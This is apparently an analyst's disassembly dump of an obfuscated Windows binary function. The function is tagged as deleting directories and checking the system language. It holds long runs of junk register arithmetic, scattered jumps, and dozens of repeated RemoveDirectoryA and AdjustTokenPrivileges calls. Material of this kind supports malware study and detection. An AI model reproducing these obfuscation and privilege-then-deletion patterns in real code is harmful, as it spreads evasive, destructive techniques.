Function at 0x401000
Capabilities:
Delete directory
Identify system language via api

Disassembly:
not edx
inc ecx
add edi, edx
sub ecx, esi
not edx
call sub.user32.dll_GetMessagePos
bswap edi
rol ecx, 0x1a
mov edi, esi
and edi, ecx
add esi, edx
xor ecx, edi
cmp eax, 0xffffff22
jne 0x4010c2
call sub.kernel32.dll_RemoveDirectoryA
call sub.advapi32.dll_AdjustTokenPrivileges
call sub.advapi32.dll_AdjustTokenPrivileges
call sub.advapi32.dll_AdjustTokenPrivileges
call sub.kernel32.dll_RemoveDirectoryA
call sub.advapi32.dll_AdjustTokenPrivileges
call sub.advapi32.dll_AdjustTokenPrivileges
call sub.kernel32.dll_RemoveDirectoryA
call sub.advapi32.dll_AdjustTokenPrivileges
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.advapi32.dll_AdjustTokenPrivileges
call sub.advapi32.dll_AdjustTokenPrivileges
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.advapi32.dll_AdjustTokenPrivileges
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.advapi32.dll_AdjustTokenPrivileges
call sub.advapi32.dll_AdjustTokenPrivileges
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.advapi32.dll_AdjustTokenPrivileges
call sub.advapi32.dll_AdjustTokenPrivileges
call sub.advapi32.dll_AdjustTokenPrivileges
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.advapi32.dll_AdjustTokenPrivileges
ret
sub edx, 0x36afa752
sub ecx, edi
call sub.user32.dll_GetMessagePos
mov ecx, edx
xchg ecx, edi
mov edx, 0x36b0fc90
xor ecx, esi
not edi
rol esi, 0x14
xor ecx, esi
add ecx, 0x36b28858
cmp eax, 0xffffff31
jne 0x401152
call sub.kernel32.dll_RemoveDirectoryA
call sub.advapi32.dll_AdjustTokenPrivileges
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.advapi32.dll_AdjustTokenPrivileges
call sub.advapi32.dll_AdjustTokenPrivileges
call sub.advapi32.dll_AdjustTokenPrivileges
call sub.advapi32.dll_AdjustTokenPrivileges
call sub.advapi32.dll_AdjustTokenPrivileges
call sub.advapi32.dll_AdjustTokenPrivileges
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.advapi32.dll_AdjustTokenPrivileges
call sub.advapi32.dll_AdjustTokenPrivileges
call sub.advapi32.dll_AdjustTokenPrivileges
call sub.advapi32.dll_AdjustTokenPrivileges
call sub.kernel32.dll_RemoveDirectoryA
call sub.advapi32.dll_AdjustTokenPrivileges
call sub.advapi32.dll_AdjustTokenPrivileges
ret
add esi, edi
and edi, esi
inc esi
and edx, 0x36b55356
add esi, ecx
sub edx, ecx
add ecx, 0x36b63b2f
or esi, ecx
call sub.kernel32.dll_GetUserDefaultUILanguage
add edx, 0x36b6f78a
dec edx
sub esi, edx
mov ecx, 0x36b7e2bc
xor ecx, edi
cmp eax, 0xffffff25
jne 0x401202
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.advapi32.dll_AdjustTokenPrivileges
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.advapi32.dll_AdjustTokenPrivileges
call sub.kernel32.dll_RemoveDirectoryA
call sub.advapi32.dll_AdjustTokenPrivileges
call sub.kernel32.dll_RemoveDirectoryA
call sub.kernel32.dll_RemoveDirectoryA
call sub.advapi32.dll_AdjustTokenPrivileges
call sub.advapi32.dll_AdjustTokenPrivileges
call sub.advapi32.dll_AdjustTokenPrivileges
call sub.advapi32.dll_AdjustTokenPrivileges
call sub.kernel32.dll_RemoveDirectoryA
call sub.advapi32.dll_AdjustTokenPrivileges
call sub.advapi32.dll_AdjustTokenPrivileges
call sub.kernel32.dll_RemoveDirectoryA
call sub.advapi32.dll_AdjustTokenPrivileges
call sub.advapi32.dll_AdjustTokenPrivileges
ret
jmp 0x494657
add edi, 0x37568423
jmp 0x495710
pop esi
or edi, ecx
dec ecx
sub edx, ebx
dec ecx
xor edi, edx
sub ebx, ecx
sub ecx, edx
sub edi, ecx
xor edx, 0x3a9a7582
or ebx, edi
jmp loc.00495328
push 0x37737647
sub edx, ecx
or ebx, edx
neg edi
xchg ecx, edi
xchg edx, ebx
sub edi, edx
jmp 0x494ed0
pop esi
or edx, edi
shr ebx, 0x1f
sub ecx, 0x3a9dbff5
xor ecx, edx
mov edi, ebx
add edx, 0x3a9eb3fe
jmp 0x496552
push 0x376049fe
shr ebx, 0x13
add ebx, 0x3aa24700
sub ebx, 0x3aa294e8
xor ecx, ebx
sub edi, edx
xor ebx, edx
xor edx, ecx
add ecx, edi
jmp 0x4950c4
push 0x3768f067
neg edi
not edi
sub edx, ecx
rol ebx, 0xb
mov edi, ebx
and edi, ebx
mov ecx, edi
add ecx, edx
inc edx
and ecx, edi
jmp 0x4957c3
call esi
or ecx, ebx
sub ebx, edi
ror edx, 2
or ebx, edi
mov ebx, edx
xchg edx, ecx
jmp 0x496a7d
pop esi
or edx, edi
bswap ecx
or ebx, edi
mov edx, ecx
not edi
xor ebx, edi
and edi, ecx
or edx, edi
shl edi, 0x16
jmp 0x496b92
push 0x37626f12
xchg ecx, ebx
mov ebx, 0x3ab6ff94
mov ebx, 0x3ab74ca3
xchg ebx, edi
not edi
sub edi, edx
or edx, edi
bswap ebx
xchg edi, edx
xor edi, ebx
sub edi, ecx
xchg ebx, edi
mov ecx, 0x3aba6a1d
shl edi, 0x1e
jmp 0x494b4a
push 0x375e1fab
sub edx, ebx
or ecx, ebx
dec ebx
add edx, ecx
or edx, ecx
or edi, ebx
shr edx, 5
add ecx, edx
or ebx, 0x3abd97db
xchg edi, ecx
or ebx, ecx
xor edi, 0x3abe805f
jmp 0x4951b8
call fcn.00496d1a
add edi, ecx
sub edi, ebx
sub ebx, ecx
mov ebx, ecx
add ecx, ebx
xor edi, ebx
add edi, ebx
sub edi, edx
xchg edi, edx
mov edi, edx
add ecx, 0x3ac521ec
or edx, ebx
rol edi, 0xf
add ecx, edi
jmp 0x4957ae
pop esi
mov ebx, ecx
mov edx, edi
xchg edi, ecx
mov edx, edi
shl edx, 0x1c
mov ecx, 0x3ad25bba
shl edx, 0x1b
not edi
xchg ebx, ecx
xor edi, edx
jmp 0x494bf3
push 0x375c2596
xchg edi, ecx
add ebx, edi
xor edx, 0x3af5a661
rol ebx, 0x16
neg edi
xchg ecx, ebx
xor ecx, edx
not edi
neg ecx
and edx, 0x3af7f36c
mov ebx, edx
jmp 0x496421
pop esi
or edi, ecx
sub ecx, edi
xor ebx, 0x3afd3e20
xchg edi, edx
or ebx, edi
and edx, ecx
and ecx, 0x3afe8a6f
add ecx, edi
xchg ebx, ecx
jmp 0x4967c1
push 0x37705523
add ecx, 0x3b060626
sub edx, ebx
and edi, 0x3b06a99e
or ecx, edx
sub ecx, 0x3b074b52
xchg ecx, edi
or edx, edi
ror ebx, 0x12
and ecx, edi
sub ebx, edx
sub ecx, ebx
inc edi
xchg ecx, edx
jmp 0x495b23
push esp
xor ebx, edi
or ebx, 0x3b0f46d3
and edi, ebx
mov edi, 0x3b0ff5a0
bswap edi
and edi, ebx
neg ecx
jmp 0x494b72
push 0x3762a299
bswap ebx
bswap ebx
sub edi, ebx
and ecx, 0x3b12485d
bswap ecx
bswap ecx
sub ebx, edi
sub ebx, edi
xor edi, edx
sub ecx, edi
mov ecx, edx
sub edi, ebx
sub edx, ebx
jmp 0x495e1b
push esp
ror edi, 0x1e
add edi, ebx
add edx, 0x3b163ee7
mov edx, ebx
xor ebx, ecx
and ecx, edi
or ebx, 0x3b177dba
jmp 0x4962ce
push 0x375bba66
xor ebx, 0x3b17e4b7
sub ecx, 0x3b183681
add ebx, edx
add edi, edx
neg edx
xor edx, 0x3b19840b
shl edx, 0xf
sub ecx, ebx
add edi, ebx
not ebx
neg ecx
or edx, 0x3b1b6c1f
jmp 0x4958b2
pop esi
and edi, ebx
xchg edx, edi
dec edx
add edx, 0x3b207e19
mov ebx, ecx
mov edi, 0x3b211fde
dec edx
add edi, edx
jmp 0x495b67
pop esi
mov ecx, edi
rol ebx, 0x1e
and ebx, edi
add ebx, ecx
add ecx, 0x3b365001
and edx, ecx
shr ebx, 0xb
xchg edx, ebx
mov edi, 0x3b37a10b
sub edi, ecx
ror edx, 0x12
jmp 0x495079
push 0x376eb490
dec ebx
xchg edi, ebx
mov ecx, ebx
bswap edi
not ecx
ror ebx, 4
or edi, ecx
ror edi, 2
shr ebx, 0x11
and ecx, ebx
rol ecx, 0x1c
or edi, edx
xor ecx, 0x3b3c8c35
sub ebx, edi
jmp 0x495be2
push 0x401400
add edx, edi
not edx
or edi, ecx
bswap ebx
xor edi, 0x3b42a574
or edx, ecx
nop
and ecx, ebx
xchg edx, ebx
add edi, ebx
xor ebx, edx
sub ecx, ebx
ror ecx, 1
or edx, edi
jmp 0x49617b
push 0x3767a21c
shl ecx, 0xc
xchg edx, edi
ror edx, 0x19
or edi, ebx
add ecx, edi
xchg ecx, edx
jmp 0x49627d
call esi
sub ecx, ebx
xor edx, ecx
or ebx, 0x3b487791
shl edi, 0x1b
inc edi
jmp 0x4968ba
call esi
or edx, 0x3b591827
xor edx, ebx
shl ebx, 0x1f
and ecx, ebx
not ecx
xor edx, ebx
and ebx, ecx
xchg ebx, ecx
or edx, ecx
and ecx, edi
jmp 0x495eba
push 0x3773b1c8
and edi, edx
sub edi, 0x3b618cbf
xor ecx, edx
mov ebx, edx
and ebx, edx
jmp 0x496a0e
pop esi
xor ecx, 0x3b62ea2d
xchg ecx, ebx
sub edi, edx
or ecx, 0x3b63d745
shr ebx, 0xc
and edi, ebx
sub edx, ebx
inc edi
dec ebx
add edx, ecx
jmp 0x496cf9
pop esi
and edx, 0x3b68b46f
xchg edx, edi
sub ebx, 0x3b6952fd
shr edx, 6
sub edx, 0x3b6a0133
sub edx, ecx
jmp 0x495975
mov esi, 0x43370267
add ebx, 0x3b6e849f
xchg ecx, edx
xchg edx, ecx
mov edx, 0x3b6f7000
sub edx, edi
shr edi, 0x16
mov edx, ecx
xor ecx, ebx
sub ebx, 0x3b710227
mov ebx, edi
jmp 0x495aba
pop esi
add edi, ecx
mov edi, ecx
or ecx, edi
mov ecx, 0x3b852d38
inc edi
sub ebx, ecx
nop
jmp 0x49669d
call esi
and ecx, edx
rol edi, 8
xchg ecx, ebx
sub ebx, ecx
or ecx, 0x3b87c594
mov ebx, ecx
xor ecx, 0x3b886a10
ror edi, 0x19
add ecx, 0x3b890a28
add edi, 0x3b895b4c
mov edx, ebx
mov ebx, edx
shr ecx, 3
not edx
jmp 0x495478
push 0x3760811c
xchg edi, edx
xor ebx, edx
add ebx, edi
jmp 0x4967ff
call esi
mov ebx, ecx
rol ecx, 0x16
mov edi, ebx
bswap ecx
sub edi, ecx
add edx, ecx
not edi
or ecx, 0x3b95a205
xor ecx, edi
add ebx, edi
neg edx
jmp 0x496650
pop esi
or edx, edi
mov edi, 0x3b99031f
inc edi
bswap edi
xchg ebx, edi
neg edx
dec edi
sub ebx, edi
xchg ecx, ebx
and ecx, 0x3b9f5460
xor ecx, edx
jmp 0x4948a4
mov esi, 0x43370267
shl ebx, 0x17
dec ecx
mov ebx, ecx
or edi, 0x3badd78c
dec edx
and ecx, edi
or edi, ebx
or edi, edx
jmp 0x495c91
call esi
mov ecx, ebx
sub ebx, edi
xchg ecx, edi
or ecx, ebx
xchg ebx, ecx
jmp 0x4959e4
call esi
and edi, edx
or ebx, ecx
mov ecx, edi
add edi, 0x3bbc3544
not edi
or edi, ebx
or ebx, ecx
ror edi, 0xc
nop
xchg edx, edi
xor ebx, edi
neg edx
sub ecx, edi
jmp 0x494cec
pop esi
sub ecx, edi
or edx, edi
inc ecx
not edi
or edx, edi
or ecx, edi
add ebx, edx
or edx, edi
jmp 0x496b20
call fcn.00496d1a
inc edx
add edi, 0x3bc81728
xor edx, edi
xchg ecx, edi
xor ebx, 0x3bc9e3cc
mov ecx, 0x3bca994e
shl edx, 0x17
xor edi, edx
sub edx, ecx
jmp 0x495c12
pop esi
sub ebx, edx
sub edx, edi
xchg ebx, edx
neg edi
or ecx, edi
jmp 0x494694
pop esi
and edi, ebx
or ecx, edx
xchg ebx, ecx
and edx, ecx
dec edi
or edi, ebx
jmp 0x494719
call fcn.00496d1a
and edi, ecx
sub edi, ebx
xor ecx, edx
or edi, ebx
jmp 0x49520f
pop esi
rol edx, 0x14
mov ecx, edx
and edx, edi
xchg edi, ecx
mov edi, ebx
add ebx, edi
or ebx, ecx
jmp 0x495270
pop esi
and edx, 0x3bf573cf
or edi, ecx
shl edi, 0x1f
xchg ecx, edx
dec edx
or edi, ecx
xor ebx, edx
shl ecx, 5
sub ebx, 0x3bf80a5f
mov ebx, edi
or ecx, edi
and edx, ecx
mov edx, ecx
xor ebx, edi
or ebx, edx
jmp 0x494ad4
pop esi
or ecx, 0x3bff0e57
and edi, ecx
add edx, 0x3bffae26
sub edx, 0x3c0000a2
sub ecx, edi
and edx, 0x3c00a234
sub edx, 0x3c00f5cd
add edi, 0x3c014753
xor edi, ebx
dec ebx
inc edx
inc edx
xor ecx, edx
xor edi, ebx
jmp 0x495f2a
push 0x93257
sub ecx, ebx
nop
or edx, ecx
mov edx, ebx
xor ebx, edi
shr ecx, 0x1e
jmp 0x494d6a
mov esi, 0x43370267
or edx, ecx
sub edi, ecx
xor ecx, 0x3c0ade8f
neg ebx
sub ecx, 0x3c0b841b
xor ebx, edx
not edx
inc ebx
jmp 0x495f42
mov esi, 0x43370267
or edx, ebx
xor ecx, 0x3c188772
mov ebx, edi
or ebx, edx
mov ebx, edi
sub edx, ecx
and edx, 0x3c1a1ad1
and edx, edi
jmp 0x4966b2
mov esi, 0x43370267
neg ebx
xor edx, ecx
jmp 0x496aa3
mov esi, 0x43370267
mov ecx, 0x3c2e3132
xor ebx, edi
or edx, ebx
mov ebx, 0x3c2f21f3
and edx, ecx
xor ebx, 0x3c2fce96
sub ecx, edi
and edi, ebx
sub edi, ecx
add edi, edx
dec ecx
or ecx, 0x3c31b740
xchg ecx, edx
jmp 0x4966e6
call fcn.00496d1a
xor edx, 0x3c35b6df
add edi, ecx
shr ebx, 0x15
sub edx, ebx
not ebx
xor ecx, 0x3c374c96
or ecx, edx
jmp 0x494e75
push 0x375b3d34
xchg ecx, edi
inc ecx
or ebx, edx
xor edi, ecx
jmp 0x495721
push 0x375b8542
xor ebx, edx
or edi, edx
sub ecx, ebx
rol edi, 0x16
not edx
inc edi
mov edx, ebx
or ebx, 0x3c3bbb6d
add ecx, ebx
sub edi, ebx
and ebx, ecx
xor edi, edx
xchg edx, ecx
mov ecx, edx
jmp 0x494b8f
push 0x37676a2a
xchg edi, edx
and ecx, edi
neg edi
xchg edi, ebx
add ecx, edx
or edx, ebx
inc edi
shr edx, 0x19
add edx, ebx
bswap ebx
xor ecx, 0x3c413949
jmp 0x494d94
call esi
mov ebx, edx
not edi
and edi, ebx
add ebx, edx
and edx, ebx
sub edi, edx
and edi, ebx
jmp 0x49629a
push 0x3769282f
inc edx
sub edx, edi
shr ebx, 6
sub ecx, edi
and ebx, 0x3c4b7f2b
not edi
xchg edx, ebx
add ebx, edi
or ecx, ebx
jmp 0x495fd9
push 0x375bf16d
mov edx, 0x3c60522c
neg edx
mov ecx, edx
rol edi, 0xa
sub edi, 0x3c6199c3
or edx, 0x3c61f66a
sub ebx, edi
and edx, ecx
or ebx, 0x3c62e74b
jmp 0x494a1d
call esi
shl edx, 0x10
neg ecx
xchg edi, ecx
shl ebx, 0x1f
or ebx, 0x3c68eca6
nop
mov ebx, ecx
inc ebx
xchg ebx, ecx
or ebx, edx
sub ebx, ecx
bswap ecx
xor ecx, 0x3c6b83c3
jmp 0x494763
mov esi, 0x43370267
add edx, edi
xchg ecx, edx
and ebx, edx
xor ecx, edi
mov ebx, edx
bswap edx
or edx, edi
sub edx, 0x3c712b08
add ebx, edx
jmp 0x4960c1
push 0x375f350a
and ecx, edi
xchg edi, edx
xor edi, 0x3c7280eb
not edi
neg edi
and edi, 0x3c737b2c
xor edx, ebx
and ebx, edx
and ecx, edx
add edx, 0x3c74c57d
ror ebx, 9
inc ecx
mov edx, 0x3c75ba3c
and ecx, ebx
jmp 0x495692
push 0x3775819d
or ecx, 0x3c7882a3
add ebx, edx
xor edx, ebx
or ecx, edi
mov ecx, 0x3c79c3ad
shr edx, 7
xor ebx, edi
or ebx, ecx
jmp 0x49560c
pop esi
inc edx
add edi, ecx
rol ebx, 0x17
or edi, ecx
and edx, ecx
and edx, 0x3c7cc9bd
bswap edx
xor ebx, 0x3c7d6f04
and edi, ecx
sub edx, ecx
jmp 0x4946ca
mov esi, 0x4132136a
xor ecx, 0x3c7e7f78
bswap ebx
add ecx, 0x3c7f23cd
mov ecx, 0x3c7f7510
xchg ecx, ebx
sub edi, ecx
shr edi, 0x14
jmp 0x496530
call fcn.00496d1a
not edx
add ebx, ecx
sub ecx, edx
add ebx, edi
or edi, edx
and ebx, 0x3c8bced1
or ecx, edi
xor ebx, edi
and edx, edi
add ecx, ebx
jmp 0x49661c
call fcn.00496d1a
inc ebx
not edx
add edi, edx
neg edi
add ecx, ebx
or ecx, ebx
and edx, ecx
add ebx, edi
shl ebx, 9
sub edx, ebx
jmp 0x49512e
push 0x37708f58
mov ebx, 0x3c98f0fc
ror edi, 0x14
shr ebx, 0x15
add edi, ebx
sub ecx, edi
shr ebx, 0x15
inc ecx
not ebx
xor edx, ebx
mov edx, ecx
or edx, ecx
jmp 0x496575
pop esi
and edx, edi
xchg ebx, edi
add ebx, edi
sub ecx, 0x3c9d8e34
or ebx, edx
not edx
dec edx
xchg ebx, ecx
or edx, 0x3c9f2481
jmp 0x494d12
push 0x37734153
add edx, 0x3c9f9682
add edx, 0x3c9fec41
dec edx
xor ecx, 0x3ca0a046
add ecx, 0x3ca0f5ba
xor ebx, edx
not ecx
rol ebx, 0x15
jmp 0x49467e
pop esi
xor edx, ecx
xchg ecx, ebx
add ebx, edi
neg ebx
mov ebx, 0x3ca73a26
or ecx, edx
jmp 0x495c66
push 0x376ef106
xor ecx, edi
or ebx, edi
add ecx, edi
add edx, ebx
xchg ecx, edi
bswap ecx
sub edi, edx
sub ebx, edx
jmp 0x494f78
call esi
or edx, edi
inc ecx
nop
xor ecx, edx
and ecx, edx
xor edi, ebx
or edi, 0x3cb04bbe
and edx, edi
rol ebx, 0x17
inc ecx
sub ecx, 0x3cb192b4
xor ecx, 0x3cb1e252
sub ebx, 0x3cb233c2
and edx, ebx
jmp 0x495bb6
pop esi
sub ecx, ebx
mov ecx, 0x3cb5e7e6
xor edi, ecx
and edx, 0x3cb682ed
dec ecx
mov ebx, 0x3cb72278
xor ebx, edi
xor ecx, edi
mov edx, ecx
and ecx, ebx
xchg edi, ebx
dec edx
shr edx, 0x1e
mov ecx, edx
jmp 0x495150
call fcn.00496d1a
xor edi, ebx
shl ecx, 0xc
mov edi, ebx
ror edi, 4
and ecx, edi
xchg ecx, edi
mov ebx, edx
or ecx, edx
shl ebx, 3
or edx, edi
xchg edi, edx
mov ecx, 0x3cbd6788
mov ebx, ecx
mov ebx, ecx
add edi, ecx
jmp 0x4964ab
call fcn.00496d1a
shr ecx, 0x18
and edi, ecx
mov ebx, edx
mov ecx, 0x3ccaeaeb
xchg ebx, ecx
neg edi
dec ecx
sub edx, ebx
shr ebx, 6
add ebx, edx
sub edx, ecx
sub edx, 0x3ccd6ca1
xchg edx, ecx
jmp 0x49508e
pop esi
ror ebx, 0xf
and ebx, edi
jmp 0x495234
push 0x3762d964
xor edi, ebx
xor edx, ecx
sub ebx, edx
or edx, ecx
mov edi, ebx
not ebx
ror ebx, 0x11
sub ebx, edi
add ecx, edx
add edx, edi
rol edi, 0x1d
and edi, 0x3cedfef4
jmp 0x495e68
mov esi, 0x2774562b
or edx, ebx
or edi, edx
mov ecx, 0x3cf27e33
add edi, 0x3cf2dd4b
mov edi, ebx
jmp 0x494823
pop esi
and edi, ebx
sub edi, ebx
or ebx, edx
xor edi, edx
sub ecx, ebx
add edx, ecx
mov edx, edi
and ebx, edi
sub edx, ecx
or ebx, edi
sub ecx, ebx
jmp 0x496ced
call esi
add ecx, edi
or edx, ebx
nop
and edx, ecx
not ecx
xor edx, edi
xchg ebx, edi
sub edx, ebx
shr ecx, 0x1f
sub ebx, ecx
jmp 0x494ee8
pop esi
xor edi, edx
mov ecx, edx
xchg edi, ebx
xor ecx, edi
sub ecx, ebx
add ecx, edx
and edx, 0x3cfc2bd6
jmp 0x49534c
pop esi
add edi, ecx
or ebx, edx
sub edi, ebx
xchg ecx, edi
or ebx, edi
add edi, ebx
mov ebx, edi
xor ebx, edi
mov ebx, ecx
jmp 0x495db5
call fcn.00496d1a
mov ebx, edx
neg edi
xor edi, 0x3d09255d
add ecx, edx
mov ebx, edx
add edi, ebx
shr ecx, 0xd
xor edi, ecx
jmp 0x49590a
mov esi, 0x2774562b
bswap ecx
add ebx, 0x3d163111
sub ecx, edx
mov edx, edi
add edx, 0x3d171772
sub edx, ecx
jmp 0x495a98
push 0x3775471a
or ecx, edi
xor edi, 0x3d22307c
or edx, edi
or ebx, edx
xor ecx, edx
or edi, edx
or edi, ecx
shr edi, 0xf
and ebx, edx
jmp 0x4959c2
call fcn.00496d1a
ror ebx, 0xc
mov ebx, ecx
and ebx, edi
add ecx, ebx
sub edx, edi
and ebx, 0x3d29f9fa
shr ecx, 8
mov edx, ecx
dec edi
and ecx, ebx
or ebx, edx
shr ebx, 0xa
sub edx, ecx
shr edx, 2
mov edi, 0x3d2cc6cf
jmp 0x494737
pop esi
xchg ecx, ebx
sub edx, 0x3d3330dd
add edx, 0x3d3381f7
sub ebx, 0x3d33d0e8
and edi, ebx
sub edx, ebx
xor ecx, ebx
add ecx, edi
sub ecx, edi
jmp 0x496643
call esi
xor edi, ecx
xchg ebx, ecx
mov edi, ecx
or edx, ecx
xor ebx, edx
and edx, ebx
and ebx, 0x3d3f8b00
sub edx, edi
dec ebx
jmp 0x495b48
push 0x3765752a
and ecx, 0x3d409b22
add ebx, 0x3d40ed4d
or edx, ecx
and edx, ecx
sub ebx, edi
xor edx, 0x3d42391e
sub ecx, edx
add ebx, edi
and edi, ebx
xchg ecx, ebx
or ebx, ecx
xor edx, 0x3d4417b8
jmp 0x495597
push 0x37653e30
sub ebx, ecx
add ecx, edx
xor edx, 0x3d451d29
add ecx, edx
add edi, edx
sub edx, ecx
and ecx, ebx
add edi, ecx
and edi, ecx
xchg ecx, edi
and edx, ecx
ror edi, 0xe
rol ebx, 0x15
xor edx, edi
jmp 0x496197
push 0x3770ffcb
mov edx, edi
mov edx, ebx
xchg edx, edi
and edi, 0x3d500348
jmp 0x496b49
mov esi, 0x43370267
sub ebx, edx
and edi, ecx
and edi, ebx
and edx, edi
xor edx, ecx
or ecx, ebx
dec edi
rol edi, 0x11
inc edi
and ecx, edi
jmp 0x4956ef
pop esi
dec ebx
and edx, ecx
neg edi
bswap edx
ror ecx, 0x1b
mov ebx, edx
sub edi, edx
or ecx, edi
jmp 0x4953c9
push 0x40
add edi, edx
xchg ecx, edi
or edx, 0x3d5eb048
add edx, edi
and edx, 0x3d5f5c1e
jmp 0x4954af
call esi
rol edx, 0xc
sub ecx, edi
and ecx, edi
inc edi
ror edx, 0x17
xor edi, ecx
jmp 0x494662
mov esi, 0x2774562b
dec ecx
ror ebx, 2
and ebx, edx
add ecx, ebx
sub ebx, 0x3d7d7f5d
sub ebx, ecx
inc ecx
xor ebx, edx
mov edi, ebx
nop
bswap ebx
and ebx, edi
jmp 0x495d41
call esi
or edi, edx
mov edi, 0x3d88297c
and edx, ecx
not ebx
not edx
mov ebx, ecx
sub ecx, edx
ror edi, 0x1b
ror ecx, 0xf
jmp 0x494f32
mov esi, 0x2774562b
xor ebx, edx
sub edx, ecx
sub ebx, 0x3d90bf11
add ecx, 0x3d911178
mov ebx, edx
dec edi
bswap ecx
sub edi, ebx
xchg ebx, ecx
add ecx, edi
jmp 0x495249
call fcn.00496d1a
shr ecx, 0x1c
nop
xchg edi, ebx
sub ebx, ecx
xor ecx, ebx
mov ecx, edi
sub ecx, edx
xchg ebx, edi
sub edx, edi
sub ecx, 0x3d96344b
jmp 0x494b2f
push 0x37649921
xchg ebx, edx
rol edx, 0x10
mov edx, 0x3d973f19
and ebx, ecx
add edx, edi
sub edx, ebx
dec edx
xor edx, ebx
and edi, ebx
mov edi, ebx
xchg edx, ecx
jmp 0x496c28
push 0x3770c95b
xor ecx, edx
xchg ebx, ecx
xor ecx, 0x3d9ad2b9
or edx, ebx
xor ebx, ecx
or ebx, ecx
shl edx, 0x13
jmp 0x49622e
call esi
neg ecx
add edx, ebx
and edi, ebx
jmp 0x494a73
call fcn.00496d1a
rol ebx, 0x1e
add ecx, edi
inc edx
or ecx, edi
not ecx
bswap edx
xor ecx, ebx
sub ecx, edx
jmp 0x495e9f
pop esi
and ecx, ebx
sub ebx, edx
shr edi, 7
jmp 0x495e83
pop esi
ror ecx, 5
mov ebx, edx
or ecx, edx
inc ebx
and ecx, 0x3daf37c5
mov edx, edi
jmp 0x495413
pop esi
add edx, ebx
mov ebx, ecx
dec ecx
add edi, ebx
sub ecx, edx
or ecx, ebx
sub edi, edx
sub ebx, edx
jmp 0x496c56
call fcn.00496d1a
xor ebx, 0x3db80853
sub ecx, edi
shl ebx, 0x1a
and edi, 0x3db8f955
neg edx
sub ebx, 0x3db999d0
neg edi
shl edx, 3
xchg ecx, ebx
xchg edx, ecx
bswap ecx
xchg edi, ecx
xchg ecx, edx
mov edx, ecx
jmp 0x494dac
call fcn.00496d1a
add edi, ecx
not ecx
not ecx
inc edx
xchg edx, edi
bswap edx
mov edx, edi
or ecx, edx
or edx, ebx
bswap ebx
neg ebx
add ebx, 0x3dbff5d9
jmp 0x4951d5
pop esi
and edi, 0x3dd10edf
sub edx, edi
xchg ebx, edx
neg edi
shr edx, 7
shl ecx, 0x15
shr edi, 0x14
nop
add edx, edi
ror ecx, 3
inc edx
or ecx, edi
mov edi, ebx
jmp 0x49689f
push 0x3760b429
rol ebx, 5
xchg ecx, edi
rol ecx, 0xa
and ebx, 0x3dd8c909
or ecx, ebx
add edx, ecx
xchg ecx, ebx
mov ecx, edx
sub edx, ecx
xchg ebx, ecx
shl ebx, 0x19
jmp 0x496826
mov esi, 0x2774562b
mov ecx, edx
sub ebx, 0x3ddbaacb
xor edx, 0x3ddbff3c
xor edx, 0x3ddc4f0a
mov ecx, ebx
mov edi, edx
and ecx, edi
dec edi
sub edi, ecx
inc edi
and edi, ebx
mov ecx, 0x3ddec9fb
add edx, ebx
mov ecx, edx
mov ecx, 0x3ddfb1c9
jmp 0x49539c
push 0x376a77e7
xor ecx, ebx
xchg ebx, edx
add edi, ecx
xor ebx, edi
xchg ecx, edi
dec ecx
mov ebx, edx
sub edx, edi
and edi, ebx
jmp 0x4954f7
pop esi
xchg edx, ecx
add edx, edi
neg ebx
xchg ebx, ecx
mov ebx, 0x3dea6080
mov ebx, ecx
ror ecx, 0x1b
dec edx
and edx, edi
or ebx, edi
jmp 0x49613a
pop esi
bswap ebx
inc ecx
xor edx, ebx
xor edi, edx
add edx, 0x3ded903a
add edi, edx
neg ecx
xchg ecx, ebx
add edi, edx
xor edi, ecx
mov edi, ecx
xor edx, ecx
or ecx, edx
xchg edi, ebx
jmp 0x49606f
mov esi, 0x43370267
shr ecx, 0x1a
bswap edx
xchg ecx, edi
xor edx, ecx
mov ecx, edi
not ecx
or ebx, edx
xor ecx, edi
sub edi, ecx
xchg ebx, edi
xchg ebx, ecx
sub edi, ecx
xchg ecx, ebx
jmp 0x496629
pop esi
rol edx, 0x13
xchg edi, edx
and edx, edi
or ecx, 0x3e196cd9
add ebx, edx
sub ebx, 0x3e1a0c4d
add ebx, ecx
mov edx, edi
or edi, ecx
ror edx, 9
mov edi, ebx
jmp 0x495a06
call fcn.00496d1a
sub edx, ebx
sub edx, 0x3e1c66a1
xor edx, 0x3e1cc78c
and ebx, ecx
inc edx
mov edi, ebx
neg edi
jmp 0x496364
pop esi
shr edx, 0x15
xor edi, ecx
xor edi, ebx
bswap edi
add ecx, edi
sub edx, edi
and ebx, 0x3e289cde
xchg ebx, edx
or edi, ebx
and ecx, edi
or edi, ecx
and ecx, edx
and ebx, edi
xor edx, ecx
sub ecx, ebx
jmp 0x4947dc
push 0x37713447
mov ebx, edx
add ecx, edi
or edx, 0x3e2d45f6
and ecx, ebx
jmp 0x49650b
push 0x376b8ef2
rol ecx, 0x17
and ecx, ebx
mov ebx, edx
xor ebx, ecx
neg edx
not edx
rol ecx, 3
add ebx, 0x3e3707ea
sub edi, ebx
mov edi, 0x3e37a923
add edx, edi
xor ecx, ebx
add ecx, edx
inc ebx
jmp 0x495955
push 0x376506be
not edx
xor edi, 0x3e3f4981
bswap edi
xor ecx, edx
add edx, 0x3e404fdd
xchg edx, ebx
xor edx, ecx
xchg edx, edi
shl ecx, 7
jmp 0x4961c9
push 0x3764cec5
xor edi, 0x3e41fde1
or ebx, 0x3e424fd2
xor edi, 0x3e42a3bc
mov edx, 0x3e42f503
bswap edi
add edi, ecx
shl ecx, 0x1b
